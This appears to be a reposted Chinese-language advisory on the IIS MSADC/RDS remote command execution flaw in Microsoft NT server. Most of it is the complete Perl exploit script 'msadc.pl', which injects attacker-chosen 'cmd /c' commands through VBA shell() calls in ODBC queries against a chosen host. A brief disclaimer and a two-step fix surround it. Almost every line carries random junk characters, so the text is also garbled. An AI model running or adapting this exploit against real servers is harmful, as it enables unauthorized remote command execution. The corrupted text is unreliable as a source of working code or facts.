IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
=KJK'1m9 T'.U?G 涉及程序：
p~1,[]k Microsoft NT server
J1DX}h] b*=eMcd 描述：
+
5 E6| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%.,-dV' J^[>F{8!n 详细：
]0P-?O: 如果你没有时间读详细内容的话，就删除:
,^,KWi9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
}8cL +JJU 有关的安全问题就没有了。
m@o/ W TNBFb_F 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
K FV&Dt}< [ 9 )9>- 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
m =i 8o ` 关于利用ODBC远程漏洞的描述，请参看:
E>~DlL% {IEc{y7?gO http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NN1d?cOn e$>.x<
Eq 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
%lPAq http://www.microsoft.com/security/bulletins/MS99-025faq.asp _YzItge* tcOgF: 这里不再论述。
F
V W&&ft 8
PI >Q 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
kQ4-W9u %g7 !4 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
9`4mvK/@ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
k&|L"N|w
qk~ ni8 B$A`- #将下面这段保存为txt文件，然后: "perl -x 文件名"
Lf _`8U x 8 _0j^oh #!perl
wN/d
J #
CuRYtY@9 # MSADC/RDS 'usage' (aka exploit) script
r@L19d )J #
=*0<.Lo': # by rain.forest.puppy
KK" uSC #
@8X)hpHf # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^t4T8ejn # beta test and find errors!
TJ9JIxnS I3 uS?c use Socket; use Getopt::Std;
X%Jq9_
getopts("e:vd:h:XR", \%args);
:-HVK^$ % Zh. 5\&bm print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6W&huIQ[ IB#L5yN r if (!defined $args{h} && !defined $args{R}) {
`hYj0:*)S$ print qq~
>?K@zsv} Usage: msadc.pl -h <host> { -d <delay> -X -v }
F VBuCi?W -h <host> = host you want to scan (ip or domain)
("UcjB^62 -d <seconds> = delay between calls, default 1 second
"w ]
Bq0 -X = dump Index Server path table, if available
K!^x+B| -v = verbose
$%!'c#
F -e = external dictionary file for step 5
-'btKz*9 In)8AK(Hw Or a -R will resume a command session
} MBxfZ 4I FbB^$ ]* ~; exit;}
]pi"M 3f_ EhDKh\OY5 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W0%c J8~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
MHo(j%I1E if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
V'(yrz! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7+wy`xi $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/IS_-h7>XS if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^eke,,~ L+y}hb
r if (!defined $args{R}){ $ret = &has_msadc;
&P 'cf|KI die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ximW!y7 b4%sOn, print "Please type the NT commandline you want to run (cmd /c assumed):\n"
u*:B 9E . "cmd /c ";
vd`;(4i#X $in=<STDIN>; chomp $in;
GUyMo@g $command="cmd /c " . $in ;
KhK:%1 po Gkc i_A* if (defined $args{R}) {&load; exit;}
@-y.Y}k#$~ UMsJg7~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5tUp[/]pl &try_btcustmr;
h ^ wu8E ^PDz"L<* print "\nStep 2: Trying to make our own DSN...";
RGd@3OjN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
aOZSX3;wg vAZc.=+ > print "\nStep 3: Trying known DSNs...";
+\ ~.cP7 [ &known_dsn;
:%ms6j/B&V S x{vZ S3 print "\nStep 4: Trying known .mdbs...";
1fwjW0t &known_mdb;
]6)^+(zU "w3#2q& if (defined $args{e}){
p C<~\RR print "\nStep 5: Trying dictionary of DSN names...";
1 FC'DH! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
,S(^r1R eZpyDw C{ print "Sorry Charley...maybe next time?\n";
j G8W|\8 exit;
( )K,~ A2 'W ##############################################################################
:^~I@)"ov
~ Dvxe sub sendraw { # ripped and modded from whisker
~)Z{ Yj9)S sleep($delay); # it's a DoS on the server! At least on mine...
Ni]V)wGE; my ($pstr)=@_;
=.19 7)e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
TC 7&IqT die("Socket problems\n");
7Gg3$E+#* if(connect(S,pack "SnA4x8",2,80,$target)){
LLE\ ;,bv select(S); $|=1;
dO/iL 7K& print $pstr; my @in=<S>;
;!H<W[ select(STDOUT); close(S);
R+vago: return @in;
i*-[-hn-V } else { die("Can't connect...\n"); }}
~,j52obR6Z I =G3 ##############################################################################
>2Z0XEe @' UbTB! sub make_header { # make the HTTP request
YC(7k7 my $msadc=<<EOT
-E,
d)O`;$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M \4pTcz{ User-Agent: ACTIVEDATA
SMX70T!'9 Host: $ip
qPle=6U[IL Content-Length: $clen
kpT>xS^6< Connection: Keep-Alive
_}8hE v d.wu ADCClientVersion:01.06
OCR`1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'T
G43^ }G8gk"st --!ADM!ROX!YOUR!WORLD!
z4 GcS/3K Content-Type: application/x-varg
y.h2hv]Bc Content-Length: $reqlen
7.V'T=@x3) 6/u ]r EOT
) -yJK mV ; $msadc=~s/\n/\r\n/g;
9g %1^$R return $msadc;}
]Rah,4?9f Udj!y $? ##############################################################################
fC6zDTis8A 3<Qe'd
^ sub make_req { # make the RDS request
%t& my ($switch, $p1, $p2)=@_;
\YXzq<7 my $req=""; my $t1, $t2, $query, $dsn;
tOUpK20q.@ uY 6]rt_#a if ($switch==1){ # this is the btcustmr.mdb query
25e*W>SLw $query="Select * from Customers where City=" . make_shell();
OH.lAF4E( $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
'OrGt_U $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!e>+ O^ )Z4ilpU, elsif ($switch==2){ # this is general make table query
r 7 dwj $query="create table AZZ (B int, C varchar(10))";
z4C qHS~% $dsn="$p1";}
T 'VZ=l[ &6 ymGo elsif ($switch==3){ # this is general exploit table query
EI+RF{IKh $query="select * from AZZ where C=" . make_shell();
Ep>} S $dsn="$p1";}
=rL%P~0wq W4MU^``
elsif ($switch==4){ # attempt to hork file info from index server
B{}<DP. $query="select path from scope()";
Z5x&P_.x[ $dsn="Provider=MSIDXS;";}
EKQ\MC1 QMO.Bnek elsif ($switch==5){ # bad query
:V,agAMn $query="select";
qr$h51C& $dsn="$p1";}
Sj=x.Tr\ 2A>s
a3\ $t1= make_unicode($query);
SSr#MIS? $t2= make_unicode($dsn);
e 3o?=; $req = "\x02\x00\x03\x00";
* A<vrkHz $req.= "\x08\x00" . pack ("S1", length($t1));
\zCw&#D0Z $req.= "\x00\x00" . $t1 ;
%:/@1r7o> $req.= "\x08\x00" . pack ("S1", length($t2));
H$D),s
gv $req.= "\x00\x00" . $t2 ;
I
68Y4s $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
hQWo ]WF(J return $req;}
>z #^JR\6 pW[KC! ##############################################################################
HB|R1<t;HB 7~zd
%
o
sub make_shell { # this makes the shell() statement
|B{@noGX return "'|shell(\"$command\")|'";}
( 5rfeSA^ MUQj7.rNa ##############################################################################
+aY]?] X RQz~Py sub make_unicode { # quick little function to convert to unicode
& \Ze<u my ($in)=@_; my $out;
]Rk4"i for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-eE r|Gs) return $out;}
.}n- N
# G'#f*) f ##############################################################################
7 \0}te )6!ji]c
N sub rdo_success { # checks for RDO return success (this is kludge)
5%r:hO @S my (@in) = @_; my $base=content_start(@in);
OrC}WMhd if($in[$base]=~/multipart\/mixed/){
mJU1n
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4Tdp;n\F return 0;}
]z77hcjB1 cFD3 ##############################################################################
C%RYQpY*c "
""k}M2A sub make_dsn { # this makes a DSN for us
+nAbcBJAl my @drives=("c","d","e","f");
o;kxu(>yL' print "\nMaking DSN: ";
6 2*p*t foreach $drive (@drives) {
qr@ <'wp/ print "$drive: ";
VY#nSF` my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
?zk#}Ex1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
E4QLXx6Wa& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
y2`}, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7oy}<9 return 0 if $2 eq "404"; # not found/doesn't exist
7 :C_{\( if($2 eq "200") {
wU}%]FqtZ= foreach $line (@results) {
.&i_~?1 [N return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@s dHB ./ } return 0;}
+0l-zd\ zJ*(G_H ##############################################################################
73p7]Uo ''Y 'ZsQ; sub verify_exists {
M\_I Qj my ($page)=@_;
ieap my @results=sendraw("GET $page HTTP/1.0\n\n");
UdOO+Z_K% return $results[0];}
>vPv 4e7&3 _
?o>i/ ##############################################################################
g) mj w 4 JO[yN sub try_btcustmr {
XN&cM,
my @drives=("c","d","e","f");
+\R__tx; my @dirs=("winnt","winnt35","winnt351","win","windows");
]N;\AXZ 7 gyz_$T@x foreach $dir (@dirs) {
I7
= 4%)A print "$dir -> "; # fun status so you can see progress
YD{Ppz foreach $drive (@drives) {
Y" U t print "$drive: "; # ditto
oQi RjDLx $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1/ 3<u:: $reqlenlen=length( "$reqlen" );
_C3O^/<n4V $clen= 206 + $reqlenlen + $reqlen;
BUs={ "P a kBeYl+*pk my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Z mc" if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3\ { ?L else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ZLZh$eZZ LgxsO:mi ##############################################################################
*x-@}WY$U e>2KW5. sub odbc_error {
: i{tqY% my (@in)=@_; my $base;
iLt2L;v>h my $base = content_start(@in);
j Gp&P if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
3 GL,=q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3y%,f|ju $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LC, 6hpmh $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Al1}Ir return $in[$base+4].$in[$base+5].$in[$base+6];}
tbXl5 x0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_)S['[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
8F
K%7\V $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
X #>:9 C
%i{{Y&l ##############################################################################
>{)\GK0i 7 -V&nlP sub verbose {
~l8w]R3A my ($in)=@_;
}nRTw2-z return if !$verbose;
}X/>WiGh: print STDOUT "\n$in\n";}
Ye| (5f b]4\$ rW7 ##############################################################################
\iRmGvT j#jwK(:] sub save {
=o:1Rc7J my ($p1, $p2, $p3, $p4)=@_;
/ K (l[M open(OUT, ">rds.save") || print "Problem saving parameters...\n";
N9#5 P! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
J9/EJ'My close OUT;}
Urz9S3#\ Z<iK(?@O ##############################################################################
.L~
NX/V t"Bp #
U1 sub load {
`&:>?Y/X2 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_f dD4-2U open(IN,"<rds.save") || die("Couldn't open rds.save\n");
jmG)p|6 @p=<IN>; close(IN);
9tWpxrig% $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
(l -l
Y $target= inet_aton($ip) || die("inet_aton problems");
PA*1]i#2M= print "Resuming to $ip ...";
7_R[ =t $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
|'``pq/}_ if($p[1]==1) {
OFx CV`>ce $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
j>?`N^ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ceuEsQ} my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
..R JHa6B if (rdo_success(@results)){print "Success!\n";}
?
q_% else { print "failed\n"; verbose(odbc_error(@results));}}
A%cJ5dF8~ elsif ($p[1]==3){
j 8)*'T if(run_query("$p[3]")){
,e^~(ITaq print "Success!\n";} else { print "failed\n"; }}
rJ{k1H > elsif ($p[1]==4){
Z,DSTP\| if(run_query($drvst . "$p[3]")){
R=3|(R+kA print "Success!\n"; } else { print "failed\n"; }}
+ K s 3 exit;}
"rrw~ {PkR6.XhR ##############################################################################
q|}O-A*wa fR b sub create_table {
/:v}Ni"6nF my ($in)=@_;
`-.6;T}2U $reqlen=length( make_req(2,$in,"") ) - 28;
D_?dy 4\ $reqlenlen=length( "$reqlen" );
K 6 yD64 $clen= 206 + $reqlenlen + $reqlen;
;jJ4H+8 my @results=sendraw(make_header() . make_req(2,$in,""));
I
Z|E PzS return 1 if rdo_success(@results);
<KJ|U0/jGd my $temp= odbc_error(@results); verbose($temp);
`oTV)J'~ return 1 if $temp=~/Table 'AZZ' already exists/;
CTe!jMZ= return 0;}
;Y,zlq2 e8E ' X ##############################################################################
CkRilS< S5:&_&R8[ sub known_dsn {
E[i# 8_ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
I/%L,XyRI my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
kRr/x-" "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
eE_$ ADEf "banner", "banners", "ads", "ADCDemo", "ADCTest");
O6 ,2M[a _kc}: foreach $dSn (@dsns) {
&7,:: $cu print ".";
yFn~rv|&G next if (!is_access("DSN=$dSn"));
ILx4 [m7 if(create_table("DSN=$dSn")){
+s6v!({Z print "$dSn successful\n";
K^h9\< w if(run_query("DSN=$dSn")){
[&IcIZ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
W7c
B print "Something's borked. Use verbose next time\n";}}} print "\n";}
VN0KK
1 I oWx^_wQ-= ##############################################################################
Av0(zA2 nly}ly Q/ sub is_access {
9f/l" my ($in)=@_;
oVr:ZwkG3 $reqlen=length( make_req(5,$in,"") ) - 28;
;<*USS6X $reqlenlen=length( "$reqlen" );
gi>W&6 $clen= 206 + $reqlenlen + $reqlen;
0e07pF/! my @results=sendraw(make_header() . make_req(5,$in,""));
(5A8# 7a my $temp= odbc_error(@results);
F-F1^$]k verbose($temp); return 1 if ($temp=~/Microsoft Access/);
H ]W'mm return 0;}
6b%IPb b ArjRoXDE ##############################################################################
a*t @k*d_ r 7#.DJnN. sub run_query {
Nob u=
Z my ($in)=@_;
g<ov` bF $reqlen=length( make_req(3,$in,"") ) - 28;
cNikLd~?A $reqlenlen=length( "$reqlen" );
>5E1y! $clen= 206 + $reqlenlen + $reqlen;
*Z\AO'h=Z my @results=sendraw(make_header() . make_req(3,$in,""));
0_AIKJrL return 1 if rdo_success(@results);
Ly/ my $temp= odbc_error(@results); verbose($temp);
N ]14~r= return 0;}
b@Dt]6_ UL
cml~Oepf ##############################################################################
k'*vG6! ri-D#F)} sub known_mdb {
I5Ty@J # my @drives=("c","d","e","f","g");
pN_%>v"o my @dirs=("winnt","winnt35","winnt351","win","windows");
(.i wD & my $dir, $drive, $mdb;
o bN8+ j my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
K}M lC}oIt |3~]XN- # this is sparse, because I don't know of many
7z$bCO L=S my @sysmdbs=( "\\catroot\\icatalog.mdb",
%iME[| u& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
:yE0DS<_ "\\system32\\certmdb.mdb",
<$p v;]n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
cL!A,+S[_ u\M xQIo'u my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Jamt @= "\\cfusion\\cfapps\\forums\\forums_.mdb",
ho)JY
$#6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
WJ)4rQ$o "\\cfusion\\cfapps\\security\\realm_.mdb",
.LDp.#d9r1 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
LitdO>%#2 "\\cfusion\\database\\cfexamples.mdb",
..k8HFz>" "\\cfusion\\database\\cfsnippets.mdb",
e2BC2K0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f`*VNB` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
WgG$ r "\\cfusion\\brighttiger\\database\\cleam.mdb",
miTff[hsMa "\\cfusion\\database\\smpolicy.mdb",
I;1)a4Xc4R "\\cfusion\\database\cypress.mdb",
2ga8 G4dU "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
_>aP5g?Ep "\\website\\cgi-win\\dbsample.mdb",
SSbx[<E3 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
#qUGc` "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
uix/O*^ ); #these are just
Q, "8Ty foreach $drive (@drives) {
pr1bsrMuL foreach $dir (@dirs){
)pe17T1| foreach $mdb (@sysmdbs) {
LE)$_i8gX print ".";
@Kn@j D; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
dz>Jl},`k print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
X 5X D1[ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
H:9G/Nev print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
S{v]B_N[M } else { print "Something's borked. Use verbose next time\n"; }}}}}
RnU7|p{ o2hk!#5[4 foreach $drive (@drives) {
[c lwmx foreach $mdb (@mdbs) {
A|]#b? - print ".";
#_`q bIOAj if(create_table($drv . $drive . $dir . $mdb)){
eMdf [eS print "\n" . $drive . $dir . $mdb . " successful\n";
hSXJDT2 if(run_query($drv . $drive . $dir . $mdb)){
K3UN#G)U print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
C@\5%~tW+ } else { print "Something's borked. Use verbose next time\n"; }}}}
0*9xau{( }
ho B[L}<c nz'6^D7`r ##############################################################################
G<$8g-O;D D%LYQ
sub hork_idx {
S v0?_ 3C print "\nAttempting to dump Index Server tables...\n";
Mu-k vgO`L print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
O wgy<@C $reqlen=length( make_req(4,"","") ) - 28;
w
El- $reqlenlen=length( "$reqlen" );
CEBG9[| $clen= 206 + $reqlenlen + $reqlen;
`m8WLj my @results=sendraw2(make_header() . make_req(4,"",""));
Pa+_{9 if (rdo_success(@results)){
!f&h VLs0 my $max=@results; my $c; my %d;
` u7^r^>A for($c=19; $c<$max; $c++){
RHpjJZUV $results[$c]=~s/\x00//g;
R*FDg;t4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$duT'G, - $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.Pte}pM"v $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
6w(r}yO] $d{"$1$2"}="";}
En# Q
p3 foreach $c (keys %d){ print "$c\n"; }
_d!o,=} } else {print "Index server doesn't seem to be installed.\n"; }}
'ey62- ^r6 #B6 f{D[pI ##############################################################################
#`f {\ ~b ! la sub dsn_dict {
W}2!~ep! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
6O.kKhk while(<IN>){
(9TSH3f? $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
F C6~V6R next if (!is_access("DSN=$dSn"));
$~/cxLcT if(create_table("DSN=$dSn")){
r\FZ-gk}Q print "$dSn successful\n";
Ewq@>$_! if(run_query("DSN=$dSn")){
wHQ$xO;vD' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=au!rda print "Something's borked. Use verbose next time\n";}}}
6Z' K1 print "\n"; close(IN);}
?G!~& ?8?vBkz~ ##############################################################################
c0rU&+:Ry ~:U`^wtQ sub sendraw2 { # ripped and modded from whisker
}
XhL`% sleep($delay); # it's a DoS on the server! At least on mine...
INp: ; my ($pstr)=@_;
`4X.UP J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;m>/tD%
die("Socket problems\n");
c3ru4o*K if(connect(S,pack "SnA4x8",2,80,$target)){
~e]B[>PT print "Connected. Getting data";
}&v-<qC^ open(OUT,">raw.out"); my @in;
HwZl"!;Mry select(S); $|=1; print $pstr;
HC 1<zW[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
nCp_RJu close(OUT); select(STDOUT); close(S); return @in;
'
Q(kx*; } else { die("Can't connect...\n"); }}
9wGsHf8] X% &7-P O ##############################################################################
S
w%6- E{ e sub content_start { # this will take in the server headers
mvc ;.+ my (@in)=@_; my $c;
nnN$?'%~6 for ($c=1;$c<500;$c++) {
K|$ c#X if($in[$c] =~/^\x0d\x0a/){
Fj2z$ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Yb_HvP else { return $c+1; }}}
a~a:mM > p return -1;} # it should never get here actually
L-S5@;" Z!^>!' Z ##############################################################################
s^IC]sW\% jb,a>9 ]p sub funky {
4b;*:C4? my (@in)=@_; my $error=odbc_error(@in);
]h'
38W if($error=~/ADO could not find the specified provider/){
_u u&? <h print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3N+B|WrM exit;}
j[FB*L1!D if($error=~/A Handler is required/){
b]Kb ~y| print "\nServer has custom handler filters (they most likely are patched)\n";
9L3P'!Z exit;}
~o|sm a5. if($error=~/specified Handler has denied Access/){
o@_i&4[MW print "\nServer has custom handler filters (they most likely are patched)\n";
] B3+& g exit;}}
2yZ~j_AF[ :t9![y[=| ##############################################################################
t']/2m.&p %t! r
pyD sub has_msadc {
(Fuu V{x| my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
WAR!#E#J7 my $base=content_start(@results);
_e ;b B?S return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
67&Q<`V1*q return 0;}
DNqV]N_W do.>Y}d ########################
y7CO%SA 4F0w+w JD 7UG c2J 解决方案：
F.i}&UQ% 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
+Yq?:uBV 2、移除web 目录: /msadc
